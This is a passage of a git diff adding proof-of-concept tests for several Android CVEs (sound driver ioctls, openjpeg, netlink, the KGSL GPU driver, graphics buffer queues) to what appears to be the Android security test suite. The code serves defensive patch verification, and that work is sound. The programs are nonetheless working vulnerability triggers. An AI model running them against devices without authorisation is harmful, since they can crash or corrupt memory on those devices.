+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5862
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define SPEAKER "Speaker Function"
+#define NUM_BLOCKS 16384
+
+unsigned int get_speakerid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
+                 (sizeof(SPEAKER) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_speakerid(fd);
+  if(control.id.numid == 0) {
+    close(fd);
+    return EXIT_FAILURE;
+  }
+  ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
new file mode 100644
index 0000000..d255bf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5867
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
new file mode 100644
index 0000000..3b8771f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2016-5867
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define DOLBY_SET_PARAM "DS1 DAP Set Param"
+#define NUM_BLOCKS 16384
+#define DOLBY_PARAM_ID_VDHE 0x0001074D
+#define TOTAL_LENGTH_DOLBY_PARAM 745
+
+unsigned int get_doblycontrolid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
+                 (sizeof(DOLBY_SET_PARAM) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  int ret;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_doblycontrolid(fd);
+  if(control.id.numid) {
+    control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
+    control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
+    ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
+    if(ret == 0) {
+      close(fd);
+      return EXIT_VULNERABLE;
+    }
+  }
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk
new file mode 100644
index 0000000..6b74720
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-8332
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../../../../../external/pdfium/third_party/libopenjpeg20/openjpeg.c
+LOCAL_SRC_FILES += ../../../../../external/pdfium/third_party/libopenjpeg20/cio.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/pdfium/third_party/libopenjpeg20
+LOCAL_SHARED_LIBRARIES := libpdfium
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
new file mode 100644
index 0000000..e2e3154
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8332/poc.c
@@ -0,0 +1,114 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <stdlib.h>
+#include "openjpeg.h"
+#include "opj_includes.h"
+
+#define REPEATVALUES    100000
+
+unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01,
+        0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00,
+        0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61,
+        0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,
+        0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C,
+        0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C,
+        0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48,
+        0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01,
+        0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48,
+        0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40,
+        0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50,
+        0x48, 0x48, 0x50 };
+unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]);
+
+unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00 };
+unsigned int gNumRepeatValues = sizeof(gRepeatValues)
+        / sizeof(gRepeatValues[0]);
+
+unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00,
+        0x00, 0x00, 0x00 };
+unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]);
+
+typedef struct {
+    char* blob;
+    ssize_t blobSize;
+    ssize_t readPos;
+} applicationContext;
+
+static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) {
+    applicationContext* appContext = (applicationContext*) context;
+    ssize_t count = 0;
+    ssize_t rem = 0;
+    if (!appContext) {
+        return ((OPJ_SIZE_T) - 1);
+    }
+    rem = appContext->blobSize - appContext->readPos;
+    if ((ssize_t) length <= rem) {
+        count = length;
+    } else {
+        count = rem;
+    }
+    memcpy(buffer, &appContext->blob[appContext->readPos], count);
+    appContext->readPos += count;
+    return ((OPJ_SIZE_T) length);
+}
+
+int main(void) {
+    ssize_t offset = 0;
+    unsigned int count = 0;
+    applicationContext sContext;
+    opj_j2k_t* codec = NULL;
+    opj_stream_t* stream = NULL;
+    opj_image_t* image = NULL;
+    opj_stream_private_t* private = NULL;
+    opj_event_mgr_t eventMgr;
+    stream = opj_stream_default_create(OPJ_TRUE);
+    private = (opj_stream_private_t*)stream;
+
+    sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues
+            + gNumLastValues;
+    sContext.blob = (char*) opj_malloc(sContext.blobSize);
+    if (!sContext.blob) {
+        return EXIT_FAILURE;
+    }
+    memset(sContext.blob, 0, sContext.blobSize);
+
+    memcpy(&sContext.blob[offset], gStartValues, gNumStartValues);
+    offset += gNumStartValues;
+    for (count = 0; count < REPEATVALUES; count++) {
+        memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues);
+        offset += gNumRepeatValues;
+    }
+    memcpy(&sContext.blob[offset], gLastValues, gNumLastValues);
+    offset += gNumLastValues;
+    sContext.readPos = 0;
+    private->m_read_fn = ReadHandler;
+    private->m_user_data = (void*)&sContext;
+    private->m_user_data_length = sContext.blobSize;
+    private->m_free_user_data_fn = NULL;
+    codec = opj_j2k_create_decompress();
+    opj_set_default_event_handler(&eventMgr);
+    opj_j2k_read_header(private,codec,&image,&eventMgr);
+    opj_free(sContext.blob);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4950a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include "../includes/common.h"
 
 #define THREAD_NUM 600
 #define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
 
 void* child_ioctl_0(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+  return NULL;
 }
 
 int main() {
   int i, ret;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
         pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
   }
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+
+  close(fd);
+
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
index 1622b39..8dad1b8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 #ifndef __LOCAL_POC_H__
 #define __LOCAL_POC_H__
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+    libnl \
+    libc \
+    liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+  struct nl_msg *message = NULL;
+  struct nlmsghdr *hdr;
+  char *data = NULL;
+  uint32_t result = 0;
+  int ret = EXIT_SUCCESS;
+  int pagesize = getpagesize();
+  size_t payloadlength = pagesize + 12 - 0x30;
+  size_t payload2length = pagesize;
+
+  message = nlmsg_alloc();
+  if (message == NULL) {
+    ALOGE("Alloc message memory failed");
+    return EXIT_FAILURE;
+  }
+
+  ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+  hdr = message->nm_nlh;
+
+  //allocate memory for data with payloadlength
+  data = malloc(payloadlength);
+  if (data == NULL) {
+    ALOGE("Alloc data memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+
+  memset(data, 0x41, payloadlength);
+  nla_put(message, 0x4444, payloadlength, data);
+  result = hdr->nlmsg_len;
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", result);
+
+  free(data);
+  data = NULL;
+
+  //allocate memory for data with payload2length
+  data = malloc(payload2length);
+  if (data == NULL) {
+    ALOGE("Alloc data2 memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+  memset(data, 0x33, payload2length);
+  ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+  nla_put(message, 0x8888, 0xFFFFF000, data);
+
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+  /*
+   * return 113 error code if length is mismatch
+   */
+  if(result != hdr->nlmsg_len) {
+    ret = EXIT_VULNERABLE;
+  }
+
+  if(!data) {
+    free(data);
+    data = NULL;
+  }
+
+  if(!message) {
+    nlmsg_free(message);
+    message = NULL;
+  }
+  return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
new file mode 100644
index 0000000..e3884e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0415
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libutils \
+                          libui \
+                          libgui \
+                          libmedia
+
+LOCAL_C_INCLUDES:= \
+        $(TOP)/frameworks/native/include/media/openmax
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
new file mode 100644
index 0000000..37e3ca7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
@@ -0,0 +1,74 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <gui/BufferQueue.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ui/Fence.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAX_TRY 5000  // based on experiments
+volatile int quit = 1;
+
+static void *start2(void *args) {
+  sp<IGraphicBufferProducer> bufferProducer =
+      *(sp<IGraphicBufferProducer> *)args;
+
+  /*
+   * It will end when ever the main thread exits due to
+   * two conditions.
+   * 1. count value reaches less than 0
+   * 2. Transact failed
+   */
+  while (quit) {
+    int buffer;
+    sp<Fence> fence;
+    bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
+                                  nullptr);
+  }
+  return NULL;
+}
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+  int count = MAX_TRY;
+  int result = EXIT_SUCCESS;
+  sp<IGraphicBufferProducer> bufferProducer = NULL;
+  sp<IGraphicBufferConsumer> bufferConsumer = NULL;
+
+  pthread_t thread;
+  pthread_create(&thread, NULL, start2, &bufferProducer);
+
+  while (quit) {
+    bufferConsumer->setConsumerName(String8("dddddddddddddddd"));
+    String8 str = bufferProducer->getConsumerName();
+    if (count < 0) {
+      quit = 0;
+    }
+    if (!strcmp("TransactFailed", str.string())) {
+      result = EXIT_FAILURE;
+      quit = 0;
+    }
+    count--;
+  }
+  pthread_join(thread, NULL);
+
+  return result;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
new file mode 100644
index 0000000..498e85f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0477
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
new file mode 100644
index 0000000..5a7baa7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <sys/mman.h>
+
+typedef struct {
+    uint32_t width;
+    uint32_t height;
+    uint32_t format;
+    const unsigned char* pixels;
+} gdx2d_pixmap;
+
+gdx2d_pixmap *(*gdx2d_load)(const unsigned char *buffer, uint32_t len);
+void          (*gdx2d_free)(const gdx2d_pixmap* pixmap);
+
+int main() {
+  void *libgdx = dlopen("libgdx.so", RTLD_LAZY);
+  if(libgdx == NULL) {
+    return -1;
+  }
+  gdx2d_load = dlsym(libgdx, "gdx2d_load");
+  gdx2d_free = dlsym(libgdx, "gdx2d_free");
+  if(gdx2d_load == NULL || gdx2d_free == NULL){
+    dlclose(libgdx);
+    return -2;
+  }
+
+  char *fname = "/data/local/tmp/CVE-2017-0477.gif";
+  int fd = open(fname, O_RDONLY);
+  struct stat st;
+  fstat(fd, &st);
+  void *ptr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+
+  gdx2d_pixmap *pixmap = gdx2d_load((unsigned char *) ptr, st.st_size);
+  if (pixmap) {
+    gdx2d_free(pixmap);
+  }
+  dlclose(libgdx);
+  return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk
new file mode 100644
index 0000000..4ff6d02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0670
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
